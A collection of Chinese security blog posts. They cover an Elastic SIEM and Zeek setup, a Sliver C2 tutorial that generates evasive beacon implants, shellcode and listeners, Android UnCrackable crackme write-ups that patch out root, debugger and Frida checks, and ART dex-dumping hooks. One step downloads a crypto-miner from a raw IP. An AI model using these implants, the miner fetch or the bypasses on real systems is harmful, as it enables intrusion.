service kibana restart首先将证书复制到运行 Zeek 的主机上,然后使用正确的权限创建证书目录。 您需要同时复制 Zeek 证书和 CA 证书。
mkdir /etc/filebeat/certs/ca -pcp ca/ca.crt /etc/filebeat/certs/cacp zeek/zeek.crt /etc/filebeat/certscp zeek/zeek.key /etc/filebeat/certschmod 770 -R /etc/filebeat/certs修改配置/etc/filebeat/filebeat.yml
output.elasticsearch.hosts: ['192.168.36.133:9200']output.elasticsearch.protocol: httpsoutput.elasticsearch.ssl.certificate: "/etc/filebeat/certs/zeek.crt"output.elasticsearch.ssl.key: "/etc/filebeat/certs/zeek.key"output.elasticsearch.ssl.certificate_authorities: ["/etc/filebeat/certs/ca/ca.crt"]setup.kibana: host: "https://192.168.36.133:5601" ssl.enabled: true ssl.certificate_authorities: ["/etc/filebeat/certs/ca/ca.crt"] ssl.certificate: "/etc/filebeat/certs/zeek.crt" ssl.key: "/etc/filebeat/certs/zeek.key"重启filebeat
service filebeat restart运行以下命令来检查 FileBeats 是否可以连接到 Elasticsearch。 一切都应该返回“OK”。
filebeat test output至此,如果想在Integrations添加集成模块,会提示不能添加,需要管理员设置,说明没有认证。
编辑 /etc/elasticsearch/elasticsearch.yml 启用安全
xpack.security.enabled: true重新启动 Elasticsearch:
service elasticsearch restartElasticsearch 附带了一个工具来执行此操作。 运行以下命令以生成这些密码并将其保存在安全的地方
/usr/share/elasticsearch/bin/elasticsearch-setup-passwords interactive会设置多个账号密码,可以按照需要来修改,此处使用admin123,相同的设置。
这时候再去访问9200端口发现需要身份认证。同样kibana也不能访问,修改配置/etc/kibana/kibana.yml
elasticsearch.username: "kibana_system"elasticsearch.password: "admin123"重新启动 Kibana:
service kibana restart修改Filebeat 配置/etc/filebeat/filebeat.yml
output.elasticsearch.username: "elastic"output.elasticsearch.password: "admin123"重新启动 Filebeat:
service filebeat restart链接显示不好安全链接,且本地不能验证证书,这里添加证书到本地验证,也就是生成的ca.cer添加到受信任的根证书机构中。
Management > Fleet。第一次访问此页面时,可能需要一分钟才能加载。
添加 Zeek 数据到 Elasticsearch,在集成模块中选择Zeek Logs。
使用如下的命令来启动 zeek 模块:
filebeat modules enable zeek将 @load policy/tuning/json-logs.zeek 行编辑到文件 /opt/zeek/share/zeek/site/local.zeek中。
保存好文件,并重新启动 zeek:
zeekctl deploy现在检查日志是否为 JSON 格式。 即使你不熟悉 JSON,日志的格式也应该与以前明显不同。
tail -f /opt/zeek/logs/current/status.log编辑配置文件 /etc/filebeat/modules.d/zeek.yml。对于 /opt/zeek/logs/ 文件夹中的每个日志文件,必须定义 “current” 日志的路径以及以前的任何日志,如下所示,需要把配置中的全部都修改一下。
dns: enabled: true var.paths: [ "/opt/zeek/logs/current/dns.log", "/opt/zeek/logs/*.dns.json" ]不希望 Elasticsearch 提取这些文件,则只需将 “enabled” 字段设置为 false。 重要的是,将在 /opt/zeek/logs中没有日志文件的所有日志源设置为 enabled: false,否则会收到错误消息。
启动 Filebeat 并启动该服务。
sudo filebeat setupsudo service filebeat restart点击上面的 Zeek Overview 按钮, 我们将看到 Zeek 的信息
security–Detections中点击View document。编辑你的 Kibana 配置件 /etc/kibana/kibana.yml,然后添加 xpack.encryptedSavedObjects.encryptionKey。
xpack.security.enabled: true# xpack.fleet.agents.tlsCheckDisabled: truexpack.encryptedSavedObjects.encryptionKey: "something_at_least_32_characters"重新启动 Kibana:
service kibana restart经过上面的设置后,我们终于可以创建检测规则了。在Rules下的Create new rule。
跟上面有些区别,但区别不大。先安装es和kibana。
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.16.3-amd64.debsudo dpkg -i elasticsearch-7.16.3-amd64.debwget https://artifacts.elastic.co/downloads/kibana/kibana-7.16.3-amd64.debsudo dpkg -i kibana-7.16.3-amd64.deb修改es配置/etc/elasticsearch/elasticsearch.yml
network.host: 0.0.0.0discovery.type: single-nodexpack.security.enabled: truexpack.security.authc.api_key.enabled: true启动es
sudo service elasticsearch start需要先设置密码
sudo /usr/share/elasticsearch/bin/elasticsearch-setup-passwords interactive修改kibana配置/etc/kibana/kibana.yml
server.host: "192.168.36.135"elasticsearch.username: "kibana_system"elasticsearch.password: "admin123"xpack.security.enabled: truexpack.fleet.agents.tlsCheckDisabled: truexpack.encryptedSavedObjects.encryptionKey: "AE3CA37A74386E07E471EEB842720384"启动kibana
sudo service kibana start7.11.1
然后在security选项中选择Fleet,在页面Add Fleet Server integration下配置规则。
点击create new policy创建规则。
选择后点击save,在Agent policies下的规则内点击add agent。
下载agent:https://www.elastic.co/cn/downloads/past-releases/elastic-agent-7-11-1
运行的时候那个命令可能缺个参数–insecure,
sudo ./elastic-agent install --insecure -f --kibana-url=http://192.168.36.135:5601 --enrollment-token=WmJhTm5uNEJBbmthYjZpY0ZyZ2M6NktXX3NHbU5UUTJlZlhZTGc2QlVVdw==agent端显示healthy表示安装正常。
7.16.3
刚开始启动的时候可能需要一点时间,才能访问页面。输入设定好的账号密码。

先在Integrations下选择endpoint security,点击右上角的ADD endpoint security。


跳转到Fleet页面,这个页面加载估计需要一分钟左右,创建Configure integration,设置集成名。点击下面的创建agent规则,或者使用默认规则。

关闭了收集agent日志

点击右下角的save and continue。
弹窗出来Endpoint Security integration added页面,点击右边的按钮。

点击agent的名字,选择上面的Add integration。搜索fleet server。点击添加。save保存即可。



保存后再点击按钮,又到了这个页面,可以看到多了一个集成工具

右上角fleet setting配置fleet和es地址
http://192.168.36.135:8220http://192.168.36.135:9200点击保存应用。

下载agent:https://artifacts.elastic.co/downloads/beats/elastic-agent/elastic-agent-7.16.3-linux-x86_64.tar.gz
选择对应的agent规则

按照页面上的命令安装,上面选择的是快速安装,系统安装成功后会显示successfully installed。

页面上也会显示Fleet Server connected。

再fleet的页面下也可以看到添加成功的agent主机信息

再security下选择Rules去启用规则,点击Select all 623 rules,再bulk actions中选择第一个启用。

其中有一些是需要机器学习来启用的,这个是付费功能,我们暂时不管,如果有报错,那可能是一次启用太多,多试几次,或者分开启用。
如果需要添加代理,则在同页面下的endpoint下去选择集成添加即可。

在alerts页面下可以看到告警,这个我们安装一个挖矿程序。
curl -O 2.58.149.237:6972/hoze在alerts页面下就可以看到几条告警

点击分析事件,看到调用关系。点击其中执行的命令可以看到具体的调用参数。

如果一直没看到数据,需要查看添加agent的时候是不是选对规则了,这里设置的一个test policy。在Fleet中查看agent的规则,如果发现不是我们自己设定的规则,那需要修改一下规则。
在agent policies中可以看到规则中存在的主机系统。

以上的告警,也可以在Analytics中查看,Discover,比如筛选其中的进程md5hash。

Sliver 是一个开源的跨平台红队框架。Sliver 的植入物支持 C2 over Mutual TLS (mTLS)、WireGuard、HTTP(S) 和 DNS,并使用每个二进制非对称加密密钥进行动态编译。
可以直接到地址下载编译后的使用:https://github.com/BishopFox/sliver/releases
这里我们从源码编译,先下载源码
git clone https://github.com/BishopFox/sliver.gitcd sliver运行目录下的文件来下载所需要的资源文件
./go-assets.sh直接执行make编译命令会生成构建平台的可执行文件
makemake macos //指定编译平台make macos-arm64make linuxmake windows目录下会生成两个文件sliver-server、sliver-client。运行server,是一个交互命令行,下面生成一个beacon。除了beacon还可以使用session。
[server] sliver > generate beacon --http 192.168.111.128 --save .[*] Generating new windows/amd64 beacon implant binary (1m0s)[*] Symbol obfuscation is enabled[*] Build completed in 2m55s[*] Implant saved to /home/user/sliver/ARROGANT_GERBIL.exe//如果不使用beacon则生成一个session的二进制文件[server] sliver (SPLENDID_BEHEADING) > generate --mtls 192.168.111.128 --save . --os windows[*] Generating new windows/amd64 implant binary[*] Symbol obfuscation is enabled[*] Build completed in 2m23s[*] Implant saved to /home/user/sliver/PATIENT_WEEKENDER.exe不过需要注意的是,sliver只是生成载荷和shellcode,它不能绕过杀软,也不具备免杀功能。
将生成的文件上传到测试机,这里我们先需要一个监听端,可以使用CS或Empire监听,也可以使用自带的命令运行监听,则默认在80端口运行监听。
[server] sliver > http[*] Starting HTTP :80 listener ...[*] Successfully started job #1然后运行生成的文件可以获取到
[server] sliver > beacons ID Name Transport Username Operating System Last Check-In Next Check-In ========== =================== =========== ========== ================== =============== =============== 7bbd5d50 SPLENDID_BEHEADING http(s) user windows/amd64 41s 41s选择这个shell,根据上面的id进行Tab补全即可。
[server] sliver > use 7bbd5d50-5f7f-4915-9de4-785fc9e2eb5e[*] Active beacon SPLENDID_BEHEADING (7bbd5d50-5f7f-4915-9de4-785fc9e2eb5e)[server] sliver (SPLENDID_BEHEADING) > 当我们执行命令的时候会显示如下,意思是命令执行需要等待检测包的时间,默认是一分钟,也就是最多一分钟就可以收到结果。
[server] sliver (SPLENDID_BEHEADING) > ls[*] Tasked beacon SPLENDID_BEHEADING (63e4e837)等待时间后会自动显示,如果认为一分钟太久则需要在生成时设置时间--seconds 5 --jitter 3
[server] sliver (SPLENDID_BEHEADING) > [+] SPLENDID_BEHEADING completed task 63e4e837C:\Users\user\new (4 items, 19.8 MiB)=====================================-rw-rw-rw- McpManagementPotato.exe 13.5 KiB Thu Dec 29 15:38:23 +0800 2022-rw-rw-rw- PrinterNotifyPotato.exe 10.0 KiB Thu Dec 29 15:38:17 +0800 2022-rw-rw-rw- SPLENDID_BEHEADING.exe 17.7 MiB Thu Dec 29 17:12:42 +0800 2022-rw-rw-rw- VisualStudioSetup.exe 2.0 MiB Thu Dec 29 14:21:53 +0800 2022查看运行过的命令和结果
[server] sliver (SPLENDID_BEHEADING) > tasks #查看运行的命令 ID State Message Type Created Sent Completed ========== =========== ============== =============================== =============================== =============================== 63e4e837 completed Ls Thu, 29 Dec 2022 17:30:49 CST Thu, 29 Dec 2022 17:31:41 CST Thu, 29 Dec 2022 17:31:41 CST [server] sliver (SPLENDID_BEHEADING) > tasks fetch 63e4e837 #查看对应命令的结果+------------------------------------------------------+| Beacon Task | 63e4e837-993f-4849-bed3-4ae4446e3aef |+---------------+--------------------------------------+| State | ✅ Completed || Description | LsReq || Created | Thu, 29 Dec 2022 17:30:49 CST || Sent | Thu, 29 Dec 2022 17:31:41 CST || Completed | Thu, 29 Dec 2022 17:31:41 CST || Request Size | 18 B || Response Size | 223 B |+------------------------------------------------------+C:\Users\user\new (4 items, 19.8 MiB)=====================================-rw-rw-rw- McpManagementPotato.exe 13.5 KiB Thu Dec 29 15:38:23 +0800 2022-rw-rw-rw- PrinterNotifyPotato.exe 10.0 KiB Thu Dec 29 15:38:17 +0800 2022-rw-rw-rw- SPLENDID_BEHEADING.exe 17.7 MiB Thu Dec 29 17:12:42 +0800 2022-rw-rw-rw- VisualStudioSetup.exe 2.0 MiB Thu Dec 29 14:21:53 +0800 2022使用-k来清理进程。Sliver有很多命令跟msf类似,比如execute-assembly、migrate、getsystem等。
利用配置生成,当需要多次重复的使用同一命令时,可以编辑一个配置文件来使用。
profiles new beacon --arch amd64 --os windows --mtls 192.168.111.128:443 -f shellcode --evasion --timeout 300 --seconds 5 --jitter 3 test其中一些参数的意义,其他参数可以使用help profiles new beacon查看。
--mtls 代表指定的监听协议,有mtls、http、dns、wg--evasion 启动规避功能--jitter 以秒為單位的信標間隔抖動--seconds 信标间隔时长使用以下命令来利用此配置文件生成shellcode,中间会询问是否使用编码,可以使用也可以不使用。
[server] sliver (SPLENDID_BEHEADING) > profiles generate --save . test[*] Generating new windows/amd64 beacon implant binary (5s)[*] Symbol obfuscation is enabled[*] Build completed in 2m32s? Encode shellcode with shikata ga nai? Yes[*] Encoding shellcode with shikata ga nai ... success![*] Implant saved to /home/user/sliver/STEEP_FOOT.bin除了上面提到过的监听命令,监听的端口都是默认的端口。还可以指定端口进行监听
[server] sliver (PATIENT_WEEKENDER) > mtls --lhost 192.168.111.128 --lport 3344[*] Starting mTLS listener ...[*] Successfully started job #4[server] sliver (PATIENT_WEEKENDER) > jobs ID Name Protocol Port ==== ====== ========== ====== 1 http tcp 80 2 mtls tcp 8888 3 wg udp 53 4 mtls tcp 3344 只不过生成的时候需要指定端口,比如
generate beacon --http 10.10.69.24:8800 --save .在sliver中有一个用来安装扩展的功能,类似CS的script manager。
可以使用armory install all来安装全部包,但是也可以安装对应需要的包,使用前需要先运行armory来更新库的地址。
库地址:https://github.com/sliverarmory/armory/blob/master/armory.json
armory install rubeussliver也提供了类似CS的服务端和客户端登陆的联动模式,这个功能需要服务的来启动,不然客户端无法连接。
[server] sliver > new-operator --name moloch --lhost 192.168.111.128[*] Generating new client certificate, please wait ... [*] Saved new client config to: /home/user/sliver/moloch_192.168.111.128.cfg [server] sliver > multiplayer [*] Multiplayer mode enabled!生成的配置文件由客户端拿来使用即可,可以导入到客户端的配置目录中~/.sliver-client/configs/
./sliver-client import moloch_192.168.111.128.cfg导入后直接运行sliver-client就行。
https://notateamserver.xyz/sliver-101/
https://dominicbreuker.com/post/learning_sliver_c2_01_installation/
]]>之前的小程序由于服务和小程序的原因已经下线了,现在重新用WordPress后端部署了一个新小程序,搭建使用了Serverless服务,不得不说这个玩意响应是真的有点慢,加载内容的时候需要等待少许时间。
小程序图料码:
后续会继续维护,也可以留言给我您的意见和希望看到的文章类型,只要我会,都可以写一写,不嫌弃就好。233333
]]>下载地址: https://mas.owasp.org/crackmes/
国际惯例,JEB打开APK,找到main。看到onCreate里有两个提示,应该是检测了ROOT和调试的环境,可以使用frida来修改返回,或者执行修改APK判断,这里直接修改判断,为了少写代码。
直接把验证部分删了:
.method protected onCreate(Bundle)V .registers 300000000 invoke-static c->a()Z00000006 move-result v000000008 if-nez v0, :24:C0000000C invoke-static c->b()Z00000012 move-result v000000014 if-nez v0, :24:1800000018 invoke-static c->c()Z0000001E move-result v000000020 if-eqz v0, :2E:2400000024 const-string v0, "Root detected!"00000028 invoke-direct MainActivity->a(String)V, p0, v0:2E0000002E invoke-virtual MainActivity->getApplicationContext()Context, p000000034 move-result-object v000000036 invoke-static b->a(Context)Z, v00000003C move-result v00000003E if-eqz v0, :4C:4200000042 const-string v0, "App is debuggable!"00000046 invoke-direct MainActivity->a(String)V, p0, v0:4C0000004C invoke-super Activity->onCreate(Bundle)V, p0, p100000052 const/high16 p1, 0x7F030000 # layout:activity_main00000056 invoke-virtual MainActivity->setContentView(I)V, p0, p10000005C return-void.end method修改为
.method protected onCreate(Bundle)V .registers 30000004C invoke-super Activity->onCreate(Bundle)V, p0, p100000052 const/high16 p1, 0x7F030000 # layout:activity_main00000056 invoke-virtual MainActivity->setContentView(I)V, p0, p10000005C return-void.end method编译,签名安装即可。
整个验证的逻辑在verify内:
public void verify(View arg4) { String v4_1; String v4 = ((EditText)this.findViewById(0x7F020001)).getText().toString(); // id:edit_text AlertDialog v0 = new AlertDialog.Builder(this).create(); if(a.a(v4)) { v0.setTitle("Success!"); v4_1 = "This is the correct secret."; } else { v0.setTitle("Nope..."); v4_1 = "That\'s not it. Try again."; } v0.setMessage(v4_1); v0.setButton(-3, "OK", new DialogInterface.OnClickListener() { @Override // android.content.DialogInterface$OnClickListener public void onClick(DialogInterface arg1, int arg2) { arg1.dismiss(); } }); v0.show(); }其中a函数,因此加密密钥和加密内容就已知。
public static boolean a(String arg5) { byte[] v1 = Base64.decode("5UJiFctbmgbDoLXmpL12mkno8HT4Lv8dlat8FxR2GOc=", 0); byte[] v2 = new byte[0]; try { return arg5.equals(new String(sg.vantagepoint.a.a.a(new byte[]{(byte)0x8D, 18, 0x76, (byte)0x84, -53, -61, 0x7C, 23, 97, 109, (byte)0x80, 108, -11, 4, 0x73, -52}, v1))); } catch(Exception v0) { Log.d("CodeCheck", "AES error:" + v0.getMessage()); return arg5.equals(new String(v2)); } }然而这里Cipher.init中的是2,也就是解密,我们需要知道解密后的内容。hook
sg.vantagepoint.a.a.a随便输入一段内容,获取到输出为
ZenTracer:::{"cmd":"exit","data":["1","73,32,119,97,110,116,32,116,111,32,98,101,108,105,101,118,101"]}转换为字符串就是:
I want to believe当然如果你直接分析加密代码,然后代码还原出来那就是:
import java.util.Base64;import javax.crypto.BadPaddingException;import javax.crypto.Cipher;import javax.crypto.IllegalBlockSizeException;import javax.crypto.NoSuchPaddingException;import javax.crypto.spec.SecretKeySpec;import java.security.InvalidKeyException;import java.security.NoSuchAlgorithmException;public class owasp { public static void main(String[] args) throws Exception { System.out.println(a()); } public static String a() throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException { byte[] arg2 = new byte[]{(byte)0x8D, 18, 0x76, (byte)0x84, -53, -61, 0x7C, 23, 97, 109, (byte)0x80, 108, -11, 4, 0x73, -52}; byte[] arg3 = Base64.getDecoder().decode("5UJiFctbmgbDoLXmpL12mkno8HT4Lv8dlat8FxR2GOc="); SecretKeySpec v0 = new SecretKeySpec(arg2, "AES"); Cipher v2 = Cipher.getInstance("AES/ECB/PKCS5Padding"); v2.init(Cipher.DECRYPT_MODE, v0); return new String(v2.doFinal(arg3)); }}看到这个大概就知道这货想干啥了
static { System.loadLibrary("foo"); }先按照流程来看一下,跟上面差不多,几个检测,不过这里先加载so的init函数。
然后加密的方法被写到了so的
public class CodeCheck { public boolean a(String arg1) { return this.bar(arg1.getBytes()); } private native boolean bar(byte[] arg1) { }}然后去so中找一下这两个函数,其中init中关键函数是sub_93C
.text:00000BA4 PUSH {R7,LR}.text:00000BA6 MOV R7, SP.text:00000BA8 BL sub_93C.text:00000BAC LDR R0, =(byte_400C - 0xBB4).text:00000BAE MOVS R1, #1.text:00000BB0 ADD R0, PC ; byte_400C.text:00000BB2 STRB R1, [R0].text:00000BB4 POP {R7,PC}sub_93C的伪代码是,是一个验证app调试行为的检测。
int sub_93C(){ __pid_t v0; // r4 pthread_t newthread; // [sp+4h] [bp-1Ch] BYREF int stat_loc[6]; // [sp+8h] [bp-18h] BYREF dword_4008 = fork(); if ( dword_4008 ) { pthread_create(&newthread, 0, sub_914, 0); } else { v0 = getppid(); if ( !ptrace(PTRACE_ATTACH, v0, 0, 0) ) { waitpid(v0, stat_loc, 0); while ( 1 ) { ptrace(PTRACE_CONT, v0, 0, 0); if ( !waitpid(v0, stat_loc, 0) ) break; if ( (stat_loc[0] & 0x7F) != 127 ) exit(0); } } } return _stack_chk_guard - stat_loc[1];}另一个bar函数
bool __fastcall Java_sg_vantagepoint_uncrackable2_CodeCheck_bar(_JNIEnv *a1, _JavaVM *a2, int a3){ const char *v5; // r8 _BOOL4 result; // r0 char s2[24]; // [sp+4h] [bp-2Ch] BYREF result = 0; if ( byte_400C == 1 ) { strcpy(s2, "Thanks for all the fish"); v5 = a1->functions->GetByteArrayElements(a1, a3, 0); if ( a1->functions->GetArrayLength(a1, a3) == 23 && !strncmp(v5, s2, 0x17u) ) result = 1; } return result;}因为我们需要把result返回1,也就是让后续的判断为真,所以需要查看内部流程。
有两个要求,其中是字节数组长度为23,跟上面的字符比较必须相等,这里有个小问题,byte_400C是init里来加载赋值的,也就是修改代码的时候不能去掉这个函数的渲染。
.method protected onCreate(Landroid/os/Bundle;)V .locals 4 invoke-direct {p0}, Lsg/vantagepoint/uncrackable2/MainActivity;->init()V new-instance v0, Lsg/vantagepoint/uncrackable2/CodeCheck; invoke-direct {v0}, Lsg/vantagepoint/uncrackable2/CodeCheck;-><init>()V iput-object v0, p0, Lsg/vantagepoint/uncrackable2/MainActivity;->m:Lsg/vantagepoint/uncrackable2/CodeCheck; invoke-super {p0, p1}, Landroid/support/v7/app/c;->onCreate(Landroid/os/Bundle;)V const p1, 0x7f09001b invoke-virtual {p0, p1}, Lsg/vantagepoint/uncrackable2/MainActivity;->setContentView(I)V return-void.end method编译安装,输入上面的字符串即可
Thanks for all the fish形似如上,但是多了一个文件的校验verifyLibs,这个返回不正常的时候会给tampered一个非0的值,导致后续的判断中失败。
但是这个app有一个麻烦的地方在于,他的检测跟上面的不一样,首先是Java层,删除MainActivity$2,还有MainActivity中的调用部分即可,但是安装后还是会闪退,这个现象明显不是Java层代码控制的。
从函数中可以看到一个goodbye函数,在sub_23C4中发现有调用,但是没有明显调用存在这个函数的地方,也没有明写在JNI_Onload中,大概在init_array中,于是发现有函数的调用。sub_2468中调用了sub_23C4
.init_array:00005DF0 ; Segment type: Pure data.init_array:00005DF0 AREA .init_array, DATA.init_array:00005DF0 ; ORG 0x5DF0.init_array:00005DF0 DCD sub_2468+1.init_array:00005DF0 ; .init_array ends.init_array:00005DF0于是我们需要修改sub_23C4这个函数的判断逻辑。
由于原逻辑是如下判断:
void __noreturn sub_23C4(){ FILE *v0; // r4 char v1[536]; // [sp+0h] [bp-218h] BYREF while ( 1 ) { v0 = fopen("/proc/self/maps", "r"); if ( !v0 ) break; while ( fgets(v1, 512, v0) ) { if ( strstr(v1, "frida") || strstr(v1, "xposed") ) { _android_log_print(2, "UnCrackable3", "Tampering detected! Terminating...");LABEL_10: goodbye(); } } fclose(v0); usleep(0x1F4u); } _android_log_print(2, "UnCrackable3", "Error opening /proc/self/maps! Terminating..."); goto LABEL_10;}这时候可以在日志过滤查看,验证一下想法,可以发现确实是显示了Tampering detected! Terminating...。
先修改了,但是这样发现还是会报错,于是直接在最后退出的地方,修改掉exit()。
.text:000023EA loc_23EA ; CODE XREF: sub_23C4+48↓j.text:000023EA ; sub_23C4+66↓j.text:000023EA MOV R0, R6 ; s.text:000023EC MOV.W R1, #0x200 ; n.text:000023F0 MOV R2, R4 ; stream.text:000023F2 BLX fgets.text:000023F6 CBZ R0, loc_2410.text:000023F8 MOV R0, R6 ; char *.text:000023FA MOV R1, R10 ; char *.text:000023FC BLX strstr.text:00002400 CBZ R0, loc_2436 ; Keypatch modified this from:.text:00002400 ; CBNZ R0, loc_2436.text:00002402 MOV R0, R6 ; char *.text:00002404 MOV R1, R5 ; char *.text:00002406 BLX strstr.text:0000240A CMP R0, #0.text:0000240C BNE loc_23EA ; Keypatch modified this from:.text:0000240C ; BEQ loc_23EA.text:0000240E B loc_2436把最后的BLX指令给nop掉,修改Hex为00000000
.text:0000238C _Z7goodbyev ; CODE XREF: goodbye(void)+8↑j.text:0000238C ; DATA XREF: LOAD:000002A0↑o ....text:0000238C ; __unwind {.text:0000238C PUSH {R7,LR}.text:0000238E MOV R7, SP.text:00002390 MOVS R0, #6 ; sig.text:00002392 BLX raise.text:00002396 MOVS R0, #0 ; status.text:00002398 BLX _exit.text:00002398 ; } // starts at 238C重新打包安装,即可正常打开app。然后再来看后续的逻辑。
主逻辑还是在so中,找到init函数
{ char *v5; // r6 sub_24BC(a1, a2); //需要调试可以nop掉 v5 = a1->functions->GetByteArrayElements(a1, a3, 0); strncpy(byte_6034, v5, 0x18u); a1->functions->ReleaseByteArrayElements(a1, a3, v5, 2); return ++dword_6030;}还是获取一个输入字节的作用,然后主要是bar
{ jbyte *v5; // r6 unsigned int i; // r0 int result; // r0 _BYTE v8[28]; // [sp+0h] [bp-38h] BYREF memset(v8, 0, 0x19u); if ( dword_6030 != 2 ) goto LABEL_9; sub_EBC(v8); v5 = a1->functions->GetByteArrayElements(a1, a3, 0); if ( a1->functions->GetArrayLength(a1, a3) != 24 ) goto LABEL_9; for ( i = 0; i <= 0x17; ++i ) { if ( v5[i] != (v8[i] ^ *(&dword_6030 + i + 4)) ) //dword_6030 = 2 goto LABEL_9; } if ( i == 24 ) result = 1; elseLABEL_9: result = 0; return result;}基本可以知道如果需要得到这个v5就是我们输入的值也就是需要得到的值,那我们需要知道v8这个值,但是sub_EBC不知道在干啥,有两千多行,但是你把参数修改为一个值的时候就会发现,其实只有最后几行进行了操作,开辟了一个24字节的空间。
if ( result ) { memset(key, 0, 0x19u); *key = 319883293; //0x1311081d key[1] = 357111567; //0x1549170f key[2] = 419627021; //0x1903000d key[3] = 353574234; //0x15131d5a *(key + 8) = 3592; result = (&loc_1412 + 1); *(key + 18) = 135725146; *(key + 11) = 5139; }arm默认是小端格式,所以这个key就是1d0811130f1749150d0003195a1d1315080e5a0017081314,然后最奇怪的地方来了,从伪代码上看这里是跟一个常量进行了异或,但是这个明显不正常,异或的结果也不对,后来查了一下发现一开始传入的xorkey被忽略掉了,虽然这里没细看出来调用关系,但是确实是调用了,使用Ghidra就可以看到。
使用脚本进行异或,得到结果making owasp great again。
secret = ""other_key = bytes.fromhex("1d0811130f1749150d0003195a1d1315080e5a0017081314")pizza = bytes("pizzapizzapizzapizzapizz",'utf-8')for (a, b) in zip(pizza, other_key): secret = secret + chr(a ^ b)print(secret)这个有点复杂,别问,问就是不会。/(ㄒoㄒ)/~~
]]>/art/runtime/dex_file.cc#OpenMemory
OpenMemory算是常见的脱壳点,在# frida-unpack中也是使用此脱壳点来导出dex对象。
std::unique_ptr<const DexFile> DexFile::OpenMemory(const uint8_t* base, size_t size, const std::string& location, uint32_t location_checksum, MemMap* mem_map, const OatDexFile* oat_dex_file, std::string* error_msg) { CHECK_ALIGNED(base, 4); // various dex file structures must be word aligned std::unique_ptr<DexFile> dex_file( new DexFile(base, size, location, location_checksum, mem_map, oat_dex_file)); if (!dex_file->Init(error_msg)) { dex_file.reset(); } return std::unique_ptr<const DexFile>(dex_file.release());}添加导出代码
#include <sys/types.h> //添加额外的库#include <sys/stat.h>#include <fcntl.h>int dexCount = 0; //注意位置 char output[100]={0}; int pid = getpid(); sprintf(output, "/sdcard/%d_%d_output.dex", pid, dexCount); dexCount++; int fd = open(output,O_CREAT|O_RDWR,666); if (fd > 0) { write(fd, base, size); close(fd); }DexFile::DexFile()
在17年的DEF CON 25 黑客大会中,Avi Bashan 和 SlavaMakkaveev 提出的通过修改DexFile的构造函数DexFile::DexFile(),以及OpenAndReadMagic()函数来实现对加壳应用的内存中的dex的dump来脱壳技术
DexFile::DexFile(const uint8_t* base, size_t size, const std::string& location, uint32_t location_checksum, MemMap* mem_map, const OatDexFile* oat_dex_file) : begin_(base), size_(size), location_(location), location_checksum_(location_checksum), mem_map_(mem_map), header_(reinterpret_cast<const Header*>(base)), string_ids_(reinterpret_cast<const StringId*>(base + header_->string_ids_off_)), type_ids_(reinterpret_cast<const TypeId*>(base + header_->type_ids_off_)), field_ids_(reinterpret_cast<const FieldId*>(base + header_->field_ids_off_)), method_ids_(reinterpret_cast<const MethodId*>(base + header_->method_ids_off_)), proto_ids_(reinterpret_cast<const ProtoId*>(base + header_->proto_ids_off_)), class_defs_(reinterpret_cast<const ClassDef*>(base + header_->class_defs_off_)), find_class_def_misses_(0), class_def_index_(nullptr), oat_dex_file_(oat_dex_file) { CHECK(begin_ != nullptr) << GetLocation(); CHECK_GT(size_, 0U) << GetLocation();}添加代码
+ //------------------------------------------------------------------+ // DEX file unpacking+ //------------------------------------------------------------------++ // let's limit processing file list+ LOG(WARNING) << "Dex File: Filename: "<< location;if (location.find("/data/data/") != std::string::npos) { LOG(WARNING) << "Dex File: OAT file unpacking launched"; std::ofstream dst(location + "__unpacked_oat", std::ios::binary); dst.write(reinterpret_cast<const char*>(base), size); dst.close();} else { LOG(WARNING) << "Dex File: OAT file unpacking not launched";} + //------------------------------------------------------------------OpenFile
这个函数跟OpenMemory类似,同样是调用了OpenMemory的返回,也可以在这里直接导出dexfile.
std::unique_ptr<const DexFile> dex_file(OpenMemory(location, dex_header->checksum_, map.release(), error_msg)); if (dex_file.get() == nullptr) { *error_msg = StringPrintf("Failed to open dex file '%s' from memory: %s", location, error_msg->c_str()); return nullptr; }Execute
这个函数是寒冰大佬公布的,dex2oat对类的初始化函数并没有进行编译,进入到interpreter.cc文件中的Execute函数,进而进入ART下的解释器解释执行。
#include <fcntl.h> static inline JValue Execute(Thread* self, const DexFile::CodeItem* code_item, ShadowFrame& shadow_frame, JValue result_register) { char *dexfilepath=(char*)malloc(sizeof(char)*1000); if(dexfilepath!=nullptr) { ArtMethod* artmethod=shadow_frame.GetMethod(); const DexFile* dex_file = artmethod->GetDexFile(); const uint8_t* begin_=dex_file->Begin(); // Start of data. size_t size_=dex_file->Size(); // Length of data. int size_int_=(int)size_; int fcmdline =-1; char szCmdline[64]= {0}; char szProcName[256] = {0}; int procid = getpid(); sprintf(szCmdline,"/proc/%d/cmdline", procid); fcmdline = open(szCmdline, O_RDONLY,0644); if(fcmdline >0) { read(fcmdline, szProcName,256); close(fcmdline); } if(szProcName[0]) { memset(dexfilepath,0,1000); sprintf(dexfilepath,"/sdcard/%s_%d_dexfile.dex",szProcName,size_int_); int dexfilefp=open(dexfilepath,O_RDONLY,0666); if(dexfilefp>0){ close(dexfilefp); dexfilefp=0; }else{ int fp=open(dexfilepath,O_CREAT|O_RDWR,666); if(fp>0) { write(fp,(void*)begin_,size_); fsync(fp); close(fp); } } } if(dexfilepath!=nullptr) { free(dexfilepath); dexfilepath=nullptr; } }//=======================看了寒冰大佬的文章,按照寻找脱壳点的办法找到几个新的脱壳点,这里也来记录一下,利用的是dexcache来到出dexfile。曾经有过类似的调用,也有不少利用dexcache来查找和导出的办法,比如在Java层hook函数getDex。
DexCache_getDexNative
namespace art {static jobject DexCache_getDexNative(JNIEnv* env, jobject javaDexCache) { ScopedFastNativeObjectAccess soa(env); mirror::DexCache* dex_cache = soa.Decode<mirror::DexCache*>(javaDexCache); // Should only be called while holding the lock on the dex cache. DCHECK_EQ(dex_cache->GetLockOwnerThreadId(), soa.Self()->GetThreadId()); const DexFile* dex_file = dex_cache->GetDexFile(); // =======================新增int fcmdline = -1;char szCmdline[64] = { 0 };char szProcName[256] = { 0 };int procid = getpid();sprintf(szCmdline, "/proc/%d/cmdline", procid);fcmdline = open(szCmdline, O_RDONLY, 0644);if (fcmdline > 0) { read(fcmdline, szProcName, 256); close(fcmdline);}char *dexfilepath = (char *) malloc(sizeof(char) * 2000);const uint8_t *begin_ = dex_file->Begin(); //dex的起始和大小size_t size_ = dex_file->Size();memset(dexfilepath, 0, 2000);int size_int_ = (int) size_;memset(dexfilepath, 0, 2000);sprintf(dexfilepath, "%s", "/sdcard/fiart");mkdir(dexfilepath, 0777);memset(dexfilepath, 0, 